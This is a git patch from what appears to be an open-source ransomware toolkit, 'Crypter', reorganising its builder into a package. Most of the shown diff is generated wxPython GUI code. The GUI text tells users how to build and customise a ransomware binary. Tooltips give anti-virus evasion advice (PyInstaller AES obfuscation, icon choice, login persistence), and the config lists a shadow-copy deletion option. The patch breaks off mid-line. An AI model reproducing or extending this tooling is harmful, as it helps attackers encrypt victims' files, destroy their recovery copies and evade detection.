From cf97a7c9742324f6149a4faf4386dba99d10bb38 Mon Sep 17 00:00:00 2001 From: sithis Date: Wed, 15 Apr 2020 21:55:44 +0100 Subject: [PATCH 01/41] - Moved Crypter Builder into its own separate package --- build/Builder.pyw => Builder.pyw | 6 +- {build/ExeBuilder => CrypterBuilder}/Base.py | 7 +- .../Builder.py | 27 +- .../BuilderGuiAbsBase.py | 1112 +++---- .../BuilderThread.py | 53 +- .../Exceptions.py | 24 +- {build/ExeBuilder => CrypterBuilder}/Gui.py | 36 +- .../Resources}/Template.spec | 10 +- .../Resources/bitcoin.bmp | Bin .../Resources}/builder_logo.bmp | Bin {build => CrypterBuilder}/Resources/lock.bmp | Bin {build => CrypterBuilder}/Resources/lock.ico | Bin {build => CrypterBuilder}/Resources/pdf.ico | Bin 99678 -> 99678 bytes CrypterBuilder/Resources/runtime.cfg | 211 ++ {build/ExeBuilder => CrypterBuilder}/Spec.py | 13 +- CrypterBuilder/__init__.py | 6 + build/ExeBuilder/.project | 17 - build/ExeBuilder/.pydevproject | 5 - .../org.eclipse.core.resources.prefs | 4 - build/ExeBuilder/__init__.py | 13 - build/config_example.cfg | 210 -- config_example.cfg | 214 ++ gui/Crypter/crypter.fbp | 1284 ++++++++ gui/Crypter/crypter.fbp.bak | 1284 ++++++++ gui/Crypter/final.fbp | 2053 ++++++++++++ gui/Crypter/final.fbp.bak | 2775 +++++++++++++++++ .../CrypterBuilder}/crypter_builder_final.fbp | 2500 +-------------- .../prototypes/crypter_builder_dark.fbp | 0 .../prototypes/crypter_builder_light.fbp | 0 29 files changed, 8564 insertions(+), 3300 deletions(-) rename build/Builder.pyw => Builder.pyw (56%) rename {build/ExeBuilder => CrypterBuilder}/Base.py (98%) rename build/ExeBuilder/ExeBuilder.py => CrypterBuilder/Builder.py (51%) rename {build/ExeBuilder => CrypterBuilder}/BuilderGuiAbsBase.py (74%) rename {build/ExeBuilder => CrypterBuilder}/BuilderThread.py (90%) rename {build/ExeBuilder => CrypterBuilder}/Exceptions.py (67%) rename {build/ExeBuilder => CrypterBuilder}/Gui.py (94%) rename {build/ExeBuilder/static => CrypterBuilder/Resources}/Template.spec (72%) rename {build => CrypterBuilder}/Resources/bitcoin.bmp (100%) rename {build/ExeBuilder/static => CrypterBuilder/Resources}/builder_logo.bmp (100%) rename {build => CrypterBuilder}/Resources/lock.bmp (100%) rename {build => CrypterBuilder}/Resources/lock.ico (100%) rename {build => CrypterBuilder}/Resources/pdf.ico (99%) create mode 100644 CrypterBuilder/Resources/runtime.cfg rename {build/ExeBuilder => CrypterBuilder}/Spec.py (93%) create mode 100644 CrypterBuilder/__init__.py delete mode 100644 build/ExeBuilder/.project delete mode 100644 build/ExeBuilder/.pydevproject delete mode 100644 build/ExeBuilder/.settings/org.eclipse.core.resources.prefs delete mode 100644 build/ExeBuilder/__init__.py delete mode 100644 build/config_example.cfg create mode 100644 config_example.cfg create mode 100644 gui/Crypter/crypter.fbp create mode 100644 gui/Crypter/crypter.fbp.bak create mode 100644 gui/Crypter/final.fbp create mode 100644 gui/Crypter/final.fbp.bak rename {build/builder_gui => gui/CrypterBuilder}/crypter_builder_final.fbp (76%) rename {build/builder_gui => gui/CrypterBuilder}/prototypes/crypter_builder_dark.fbp (100%) rename {build/builder_gui => gui/CrypterBuilder}/prototypes/crypter_builder_light.fbp (100%) diff --git a/build/Builder.pyw b/Builder.pyw similarity index 56% rename from build/Builder.pyw rename to Builder.pyw index a012947..078009c 100644 --- a/build/Builder.pyw +++ b/Builder.pyw @@ -5,6 +5,8 @@ ''' # Import libs -import ExeBuilder +import win32api +from CrypterBuilder import Builder -go = ExeBuilder.ExeBuilder() \ No newline at end of file +builder = Builder() +builder.launch() \ No newline at end of file diff --git a/build/ExeBuilder/Base.py b/CrypterBuilder/Base.py similarity index 98% rename from build/ExeBuilder/Base.py rename to CrypterBuilder/Base.py index cbadfcc..b501acc 100644 --- a/build/ExeBuilder/Base.py +++ b/CrypterBuilder/Base.py @@ -1,12 +1,13 @@ # -*- coding: utf-8 -*- ''' -@summary: Crypter Exe Builder: Base schema and config +@summary: Crypter Builder: Base schema and config @author: MLS ''' # Import libs import re -from ordereddict import OrderedDict +import os +from collections import OrderedDict ## VERSION MAJ_VERSION = "2" @@ -363,7 +364,7 @@ "delete_shadow_copies" ] -RUNTIME_CONFIG_PATH = "Resources/runtime.cfg" +RUNTIME_CONFIG_PATH = os.path.join("CrypterBuilder", "Resources", "runtime.cfg") # ERRORS ERROR_INVALID_DATA = 13 diff --git a/build/ExeBuilder/ExeBuilder.py b/CrypterBuilder/Builder.py similarity index 51% rename from build/ExeBuilder/ExeBuilder.py rename to CrypterBuilder/Builder.py index 05734fe..7556418 100644 --- a/build/ExeBuilder/ExeBuilder.py +++ b/CrypterBuilder/Builder.py @@ -1,6 +1,6 @@ ''' -@summary: Crypter Exe Builder: Main -@author: MLS +Crypter Builder +@author: Sithis ''' # Import libs @@ -16,19 +16,26 @@ ################### ## BUILDER CLASS ## ################### -class ExeBuilder(): +class Builder(): ''' - @summary: Provides the main Builder object. Controls calls to all other areas + Crypter Builder ''' def __init__(self): ''' - @summary: Constructor + Constructor ''' # Initialise the Builder GUI - app = wx.App() - builder_gui = Gui() - builder_gui.Show() - app.MainLoop() - \ No newline at end of file + self.__app = wx.App() + self.__builder_gui = Gui() + + + def launch(self): + ''' + Launches the Builder GUI + ''' + + + self.__builder_gui.Show() + self.__app.MainLoop() diff --git a/build/ExeBuilder/BuilderGuiAbsBase.py b/CrypterBuilder/BuilderGuiAbsBase.py similarity index 74% rename from build/ExeBuilder/BuilderGuiAbsBase.py rename to CrypterBuilder/BuilderGuiAbsBase.py index f5d15d6..60f10fd 100644 --- a/build/ExeBuilder/BuilderGuiAbsBase.py +++ b/CrypterBuilder/BuilderGuiAbsBase.py @@ -1,10 +1,10 @@ -# -*- coding: utf-8 -*- +# -*- coding: utf-8 -*- ########################################################################### -## Python code generated with wxFormBuilder (version Dec 21 2016) +## Python code generated with wxFormBuilder (version Oct 26 2018) ## http://www.wxformbuilder.org/ ## -## PLEASE DO "NOT" EDIT THIS FILE! +## PLEASE DO *NOT* EDIT THIS FILE! ########################################################################### import wx @@ -15,995 +15,1031 @@ ########################################################################### class MainFrame ( wx.Frame ): - + def __init__( self, parent ): wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u"Crypter Builder", pos = wx.DefaultPosition, size = wx.Size( 650,850 ), style = wx.CAPTION|wx.CLOSE_BOX|wx.MINIMIZE_BOX|wx.RESIZE_BORDER|wx.SYSTEM_MENU|wx.TAB_TRAVERSAL ) - - self.SetSizeHintsSz( wx.DefaultSize, wx.DefaultSize ) + + self.SetSizeHints( wx.DefaultSize, wx.DefaultSize ) self.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNFACE ) ) - + bSizer1 = wx.BoxSizer( wx.VERTICAL ) - - bSizer1.SetMinSize( wx.Size( 640,850 ) ) + + bSizer1.SetMinSize( wx.Size( 640,850 ) ) bSizer311 = wx.BoxSizer( wx.HORIZONTAL ) - + self.HeaderPanel = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) bSizer48 = wx.BoxSizer( wx.VERTICAL ) - + bSizer49 = wx.BoxSizer( wx.HORIZONTAL ) - + self.LoadConfigFileLabel = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"Load Config file", wx.DefaultPosition, wx.DefaultSize, 0 ) self.LoadConfigFileLabel.Wrap( -1 ) + self.LoadConfigFileLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Arial" ) ) - + bSizer49.Add( self.LoadConfigFileLabel, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL|wx.TOP, 5 ) - + self.LoadFilePicker = wx.FilePickerCtrl( self.HeaderPanel, wx.ID_ANY, wx.EmptyString, u"Select a file", u"*.*", wx.DefaultPosition, wx.DefaultSize, wx.FLP_FILE_MUST_EXIST|wx.FLP_OPEN ) - self.LoadFilePicker.SetToolTipString( u"Load an existing configuration file" ) - + self.LoadFilePicker.SetToolTip( u"Load an existing configuration file" ) + bSizer49.Add( self.LoadFilePicker, 0, wx.ALL, 5 ) - - - bSizer49.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer49.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.CurrentConfigFileLabel = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"Current Config File:", wx.DefaultPosition, wx.DefaultSize, 0 ) self.CurrentConfigFileLabel.Wrap( -1 ) + self.CurrentConfigFileLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Arial" ) ) - + bSizer49.Add( self.CurrentConfigFileLabel, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL|wx.TOP, 5 ) - + self.CurrentConfigFile = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"None", wx.DefaultPosition, wx.DefaultSize, 0 ) self.CurrentConfigFile.Wrap( -1 ) + bSizer49.Add( self.CurrentConfigFile, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL|wx.TOP, 5 ) - - + + bSizer48.Add( bSizer49, 0, wx.EXPAND, 5 ) - - + + self.HeaderPanel.SetSizer( bSizer48 ) self.HeaderPanel.Layout() bSizer48.Fit( self.HeaderPanel ) bSizer311.Add( self.HeaderPanel, 1, wx.EXPAND |wx.ALL, 5 ) - - + + bSizer1.Add( bSizer311, 0, wx.EXPAND, 5 ) - + self.m_staticline2 = wx.StaticLine( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL ) bSizer1.Add( self.m_staticline2, 0, wx.EXPAND |wx.ALL, 5 ) - + self.ConfigScrollableWindow = wx.ScrolledWindow( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.VSCROLL ) self.ConfigScrollableWindow.SetScrollRate( 5, 5 ) bSizer2 = wx.BoxSizer( wx.VERTICAL ) - - self.GuideScrollableWindow = wx.ScrolledWindow( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.HSCROLL|wx.STATIC_BORDER|wx.VSCROLL ) + + self.GuideScrollableWindow = wx.ScrolledWindow( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.HSCROLL|wx.VSCROLL|wx.BORDER_STATIC ) self.GuideScrollableWindow.SetScrollRate( 5, 5 ) self.GuideScrollableWindow.SetBackgroundColour( wx.Colour( 255, 255, 255 ) ) - + bSizer44 = wx.BoxSizer( wx.VERTICAL ) - - self.TitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Crypter Builder", wx.DefaultPosition, wx.DefaultSize, wx.ALIGN_CENTRE ) + + self.TitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Crypter Builder", wx.DefaultPosition, wx.DefaultSize, wx.ALIGN_CENTER_HORIZONTAL ) self.TitleLabel.Wrap( -1 ) + self.TitleLabel.SetFont( wx.Font( 22, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier" ) ) self.TitleLabel.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_GRAYTEXT ) ) self.TitleLabel.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_WINDOW ) ) - + bSizer44.Add( self.TitleLabel, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL|wx.EXPAND, 5 ) - - self.SubtitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Created by Sithis993", wx.DefaultPosition, wx.DefaultSize, wx.ALIGN_CENTRE ) + + self.SubtitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Created by Sithis993", wx.DefaultPosition, wx.DefaultSize, wx.ALIGN_CENTER_HORIZONTAL ) self.SubtitleLabel.Wrap( -1 ) + self.SubtitleLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Courier" ) ) - + bSizer44.Add( self.SubtitleLabel, 0, wx.ALL|wx.EXPAND, 5 ) - + self.LogoBitmap = wx.StaticBitmap( self.GuideScrollableWindow, wx.ID_ANY, wx.NullBitmap, wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer44.Add( self.LogoBitmap, 0, wx.ALL|wx.EXPAND, 10 ) - + self.QuickBuildTitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Quick Build", wx.DefaultPosition, wx.DefaultSize, 0 ) self.QuickBuildTitleLabel.Wrap( 359 ) + self.QuickBuildTitleLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True, "Courier" ) ) - + bSizer44.Add( self.QuickBuildTitleLabel, 0, wx.ALL|wx.EXPAND, 5 ) - + self.QuickBuildDescriptionLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"To create the ransomware binary immediately, leave the fields below blank and click the BUILD button. This will produce the ransomware binary with the default settings", wx.DefaultPosition, wx.DefaultSize, 0 ) self.QuickBuildDescriptionLabel.Wrap( 359 ) + self.QuickBuildDescriptionLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Courier" ) ) - + bSizer44.Add( self.QuickBuildDescriptionLabel, 0, wx.ALL|wx.EXPAND, 10 ) - + self.CustomisingBuildTitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Customising the ransomware", wx.DefaultPosition, wx.DefaultSize, 0 ) self.CustomisingBuildTitleLabel.Wrap( 359 ) + self.CustomisingBuildTitleLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True, "Courier" ) ) - + bSizer44.Add( self.CustomisingBuildTitleLabel, 0, wx.ALL|wx.EXPAND, 5 ) - + self.CustomisingBuildDescriptionLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"The ransomware can be easily customised by adjusting any or all of the options below. For more information on each field, including a description and the expected input, hover the mouse cursor over the field's label or input box to view its tooltip. \nFields left blank will be set to the default configuration.\n\nTo see an example configuration, click the browse button at the top of the app and load the \"config_example.cfg\" file.", wx.DefaultPosition, wx.DefaultSize, 0 ) self.CustomisingBuildDescriptionLabel.Wrap( 340 ) + self.CustomisingBuildDescriptionLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Courier" ) ) - + bSizer44.Add( self.CustomisingBuildDescriptionLabel, 0, wx.ALL, 10 ) - + self.ManagingConfigurationsTitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Managing Configurations", wx.DefaultPosition, wx.DefaultSize, 0 ) self.ManagingConfigurationsTitleLabel.Wrap( 359 ) + self.ManagingConfigurationsTitleLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True, "Courier" ) ) - + bSizer44.Add( self.ManagingConfigurationsTitleLabel, 0, wx.ALL|wx.EXPAND, 5 ) - + self.ManagingConfigurationsDescriptionLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Optionally, if you'd like to save your ransomware configuration click the Save button at the bottom of this form. Existing configurations can be loaded by clicking the Load button at the top of the interface.", wx.DefaultPosition, wx.DefaultSize, 0 ) self.ManagingConfigurationsDescriptionLabel.Wrap( 340 ) + self.ManagingConfigurationsDescriptionLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Courier" ) ) - + bSizer44.Add( self.ManagingConfigurationsDescriptionLabel, 0, wx.ALL, 10 ) - - + + self.GuideScrollableWindow.SetSizer( bSizer44 ) self.GuideScrollableWindow.Layout() bSizer44.Fit( self.GuideScrollableWindow ) bSizer2.Add( self.GuideScrollableWindow, 1, wx.ALL|wx.EXPAND, 5 ) - + self.m_staticline6 = wx.StaticLine( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL ) bSizer2.Add( self.m_staticline6, 0, wx.EXPAND |wx.ALL, 5 ) - + bSizer31 = wx.BoxSizer( wx.HORIZONTAL ) - + self.m_panel31 = wx.Panel( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) LanguageSettingsSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel31, wx.ID_ANY, u"Language" ), wx.HORIZONTAL ) - + bSizer202 = wx.BoxSizer( wx.HORIZONTAL ) - + self.BuilderLanguageLabel = wx.StaticText( LanguageSettingsSizer.GetStaticBox(), wx.ID_ANY, u"Builder Language", wx.DefaultPosition, wx.DefaultSize, 0 ) self.BuilderLanguageLabel.Wrap( -1 ) + self.BuilderLanguageLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.BuilderLanguageLabel.SetToolTipString( u"The language of this GUI" ) - + self.BuilderLanguageLabel.SetToolTip( u"The language of this GUI" ) + bSizer202.Add( self.BuilderLanguageLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer202.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer202.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + BuilderLanguageChoiceChoices = [ u"English" ] self.BuilderLanguageChoice = wx.Choice( LanguageSettingsSizer.GetStaticBox(), wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, BuilderLanguageChoiceChoices, 0 ) self.BuilderLanguageChoice.SetSelection( 0 ) - self.BuilderLanguageChoice.SetToolTipString( u"The language of this GUI" ) - + self.BuilderLanguageChoice.SetToolTip( u"The language of this GUI" ) + bSizer202.Add( self.BuilderLanguageChoice, 0, wx.ALL, 5 ) - - + + LanguageSettingsSizer.Add( bSizer202, 1, 0, 5 ) - - + + self.m_panel31.SetSizer( LanguageSettingsSizer ) self.m_panel31.Layout() LanguageSettingsSizer.Fit( self.m_panel31 ) bSizer31.Add( self.m_panel31, 1, wx.ALL, 5 ) - + self.m_panel311 = wx.Panel( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) DebugSettingsSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel311, wx.ID_ANY, u"Debug" ), wx.HORIZONTAL ) - + bSizer2021 = wx.BoxSizer( wx.HORIZONTAL ) - + self.DebugLevelLabel = wx.StaticText( DebugSettingsSizer.GetStaticBox(), wx.ID_ANY, u"Debug Level", wx.DefaultPosition, wx.DefaultSize, 0 ) self.DebugLevelLabel.Wrap( -1 ) + self.DebugLevelLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.DebugLevelLabel.SetToolTipString( u"The debug level of the build process. Select a higher level to increase the verbosity of the build output shown in the console box below" ) - + self.DebugLevelLabel.SetToolTip( u"The debug level of the build process. Select a higher level to increase the verbosity of the build output shown in the console box below" ) + bSizer2021.Add( self.DebugLevelLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer2021.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2021.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + DebugLevelChoiceChoices = [ u"0 - Minimal", u"1 - Low", u"2 - Medium", u"3 - High" ] self.DebugLevelChoice = wx.Choice( DebugSettingsSizer.GetStaticBox(), wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, DebugLevelChoiceChoices, 0 ) self.DebugLevelChoice.SetSelection( 3 ) - self.DebugLevelChoice.SetToolTipString( u"The debug level of the build process. Select a higher level to increase the verbosity of the build output shown in the console box below" ) - + self.DebugLevelChoice.SetToolTip( u"The debug level of the build process. Select a higher level to increase the verbosity of the build output shown in the console box below" ) + bSizer2021.Add( self.DebugLevelChoice, 0, wx.ALL, 5 ) - - + + DebugSettingsSizer.Add( bSizer2021, 1, 0, 5 ) - - + + self.m_panel311.SetSizer( DebugSettingsSizer ) self.m_panel311.Layout() DebugSettingsSizer.Fit( self.m_panel311 ) bSizer31.Add( self.m_panel311, 1, wx.ALL, 5 ) - - + + bSizer2.Add( bSizer31, 0, wx.EXPAND, 5 ) - + bSizer12 = wx.BoxSizer( wx.VERTICAL ) - + self.m_panel41 = wx.Panel( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) - self.m_panel41.SetToolTipString( u"The path to the UPX Packer directory. If left blank, UPX will not be utilised and the executable will not be packed.\n\nIt is recommended that UPX is used as this can reduce the Crypter executable size by several Megabytes." ) - + self.m_panel41.SetToolTip( u"The path to the UPX Packer directory. If left blank, UPX will not be utilised and the executable will not be packed.\n\nIt is recommended that UPX is used as this can reduce the Crypter executable size by several Megabytes." ) + BinarySettingsSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel41, wx.ID_ANY, u"Binary Settings" ), wx.VERTICAL ) - + bSizer391 = wx.BoxSizer( wx.VERTICAL ) - + bSizer41111 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer20321211 = wx.BoxSizer( wx.HORIZONTAL ) - + self.PyinstallerAesKeyLabel = wx.StaticText( BinarySettingsSizer.GetStaticBox(), wx.ID_ANY, u"Pyinstaller AES Key", wx.DefaultPosition, wx.DefaultSize, 0 ) self.PyinstallerAesKeyLabel.Wrap( -1 ) + self.PyinstallerAesKeyLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.PyinstallerAesKeyLabel.SetToolTipString( u"The AES key used by Pyinstaller to encrypt the ransomware script files. This field is optional, but provides Crypter with a layer of obfuscation by making it more difficult to reverse engineer. Leave this field blank if you don't want to use this functionality" ) - + self.PyinstallerAesKeyLabel.SetToolTip( u"The AES key used by Pyinstaller to encrypt the ransomware script files. This field is optional, but provides Crypter with a layer of obfuscation by making it more difficult to reverse engineer. Leave this field blank if you don't want to use this functionality" ) + bSizer20321211.Add( self.PyinstallerAesKeyLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer20321211.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321211.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.PyInstallerAesKeyTextCtrl = wx.TextCtrl( BinarySettingsSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.PyInstallerAesKeyTextCtrl.SetToolTipString( u"The AES key used by Pyinstaller to encrypt the ransomware script files. This field is optional, but provides Crypter with a layer of obfuscation by making it more difficult to reverse engineer. Leave this field blank if you don't want to use this functionality" ) - + self.PyInstallerAesKeyTextCtrl.SetToolTip( u"The AES key used by Pyinstaller to encrypt the ransomware script files. This field is optional, but provides Crypter with a layer of obfuscation by making it more difficult to reverse engineer. Leave this field blank if you don't want to use this functionality" ) + bSizer20321211.Add( self.PyInstallerAesKeyTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer41111.Add( bSizer20321211, 1, wx.EXPAND, 5 ) - + bSizer203211111 = wx.BoxSizer( wx.HORIZONTAL ) - + self.IconLabel = wx.StaticText( BinarySettingsSizer.GetStaticBox(), wx.ID_ANY, u"File Icon", wx.DefaultPosition, wx.DefaultSize, 0 ) self.IconLabel.Wrap( -1 ) + self.IconLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.IconLabel.SetToolTipString( u"The icon (.ico) file to use for the Crypter executable. If left blank PyInstaller will use its own icon.\n\nWarning: choosing an non standard EXE icon, such as a PDF logo, may drastically increase the rate of detection" ) - + self.IconLabel.SetToolTip( u"The icon (.ico) file to use for the Crypter executable. If left blank PyInstaller will use its own icon.\n\nWarning: choosing an non standard EXE icon, such as a PDF logo, may drastically increase the rate of detection" ) + bSizer203211111.Add( self.IconLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer203211111.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer203211111.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.IconFilePicker = wx.FilePickerCtrl( BinarySettingsSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, u"Select a file", u"*.ico", wx.DefaultPosition, wx.DefaultSize, wx.FLP_DEFAULT_STYLE|wx.FLP_FILE_MUST_EXIST|wx.FLP_SMALL ) - self.IconFilePicker.SetToolTipString( u"The icon (.ico) file to use for the Crypter executable. If left blank PyInstaller will use its own icon.\n\nWarning: choosing an non standard EXE icon, such as a PDF logo, may drastically increase the rate of detection" ) - + self.IconFilePicker.SetToolTip( u"The icon (.ico) file to use for the Crypter executable. If left blank PyInstaller will use its own icon.\n\nWarning: choosing an non standard EXE icon, such as a PDF logo, may drastically increase the rate of detection" ) + bSizer203211111.Add( self.IconFilePicker, 0, wx.ALL, 5 ) - - + + bSizer41111.Add( bSizer203211111, 1, wx.EXPAND, 5 ) - - + + bSizer391.Add( bSizer41111, 1, wx.EXPAND, 5 ) - + bSizer411111 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer2032111111 = wx.BoxSizer( wx.HORIZONTAL ) - + self.UpxDirLabel = wx.StaticText( BinarySettingsSizer.GetStaticBox(), wx.ID_ANY, u"UPX Packer Directory", wx.DefaultPosition, wx.DefaultSize, 0 ) self.UpxDirLabel.Wrap( -1 ) + self.UpxDirLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.UpxDirLabel.SetToolTipString( u"The path to the UPX Packer directory. If left blank, UPX will not be utilised and the executable will not be packed.\n\nIt is recommended that UPX is used as this can reduce the Crypter executable size by several Megabytes" ) - + self.UpxDirLabel.SetToolTip( u"The path to the UPX Packer directory. If left blank, UPX will not be utilised and the executable will not be packed.\n\nIt is recommended that UPX is used as this can reduce the Crypter executable size by several Megabytes" ) + bSizer2032111111.Add( self.UpxDirLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer2032111111.AddSpacer( ( 0, 0), 1, wx.ALIGN_LEFT|wx.EXPAND, 5 ) - + + + bSizer2032111111.Add( ( 0, 0), 1, wx.ALIGN_LEFT|wx.EXPAND, 5 ) + self.UpxDirPicker = wx.DirPickerCtrl( BinarySettingsSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, u"Select UPX Directory", wx.DefaultPosition, wx.DefaultSize, wx.DIRP_DEFAULT_STYLE|wx.DIRP_SMALL ) - self.UpxDirPicker.SetToolTipString( u"The path to the UPX Packer directory. If left blank, UPX will not be utilised and the executable will not be packed.\n\nIt is recommended that UPX is used as this can reduce the Crypter executable size by several Megabytes" ) - + self.UpxDirPicker.SetToolTip( u"The path to the UPX Packer directory. If left blank, UPX will not be utilised and the executable will not be packed.\n\nIt is recommended that UPX is used as this can reduce the Crypter executable size by several Megabytes" ) + bSizer2032111111.Add( self.UpxDirPicker, 0, wx.ALL, 5 ) - - + + bSizer411111.Add( bSizer2032111111, 1, wx.EXPAND, 5 ) - + bSizer2032111112 = wx.BoxSizer( wx.HORIZONTAL ) - - - bSizer2032111112.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - - + + + bSizer2032111112.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + + bSizer411111.Add( bSizer2032111112, 1, wx.EXPAND, 5 ) - - + + bSizer391.Add( bSizer411111, 1, wx.EXPAND, 5 ) - - + + BinarySettingsSizer.Add( bSizer391, 0, wx.EXPAND, 5 ) - - + + self.m_panel41.SetSizer( BinarySettingsSizer ) self.m_panel41.Layout() BinarySettingsSizer.Fit( self.m_panel41 ) bSizer12.Add( self.m_panel41, 0, wx.ALL|wx.EXPAND, 5 ) - + self.m_panel4 = wx.Panel( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) RansomwareSettingsSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel4, wx.ID_ANY, u"Ransomware Settings" ), wx.VERTICAL ) - + bSizer39 = wx.BoxSizer( wx.VERTICAL ) - + sbSizer13 = wx.StaticBoxSizer( wx.StaticBox( RansomwareSettingsSizer.GetStaticBox(), wx.ID_ANY, u"General" ), wx.VERTICAL ) - + bSizer59 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer60 = wx.BoxSizer( wx.HORIZONTAL ) - + self.OpenGuiOnLoginLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"Open GUI on Login", wx.DefaultPosition, wx.DefaultSize, 0 ) self.OpenGuiOnLoginLabel.Wrap( -1 ) - self.OpenGuiOnLoginLabel.SetToolTipString( u"If ticked, the GUI will be launched each time the user logs in.\n\nWarning: Enabling this option may significantly increase the rate of Anti-Virus detection" ) - + + self.OpenGuiOnLoginLabel.SetToolTip( u"If ticked, the 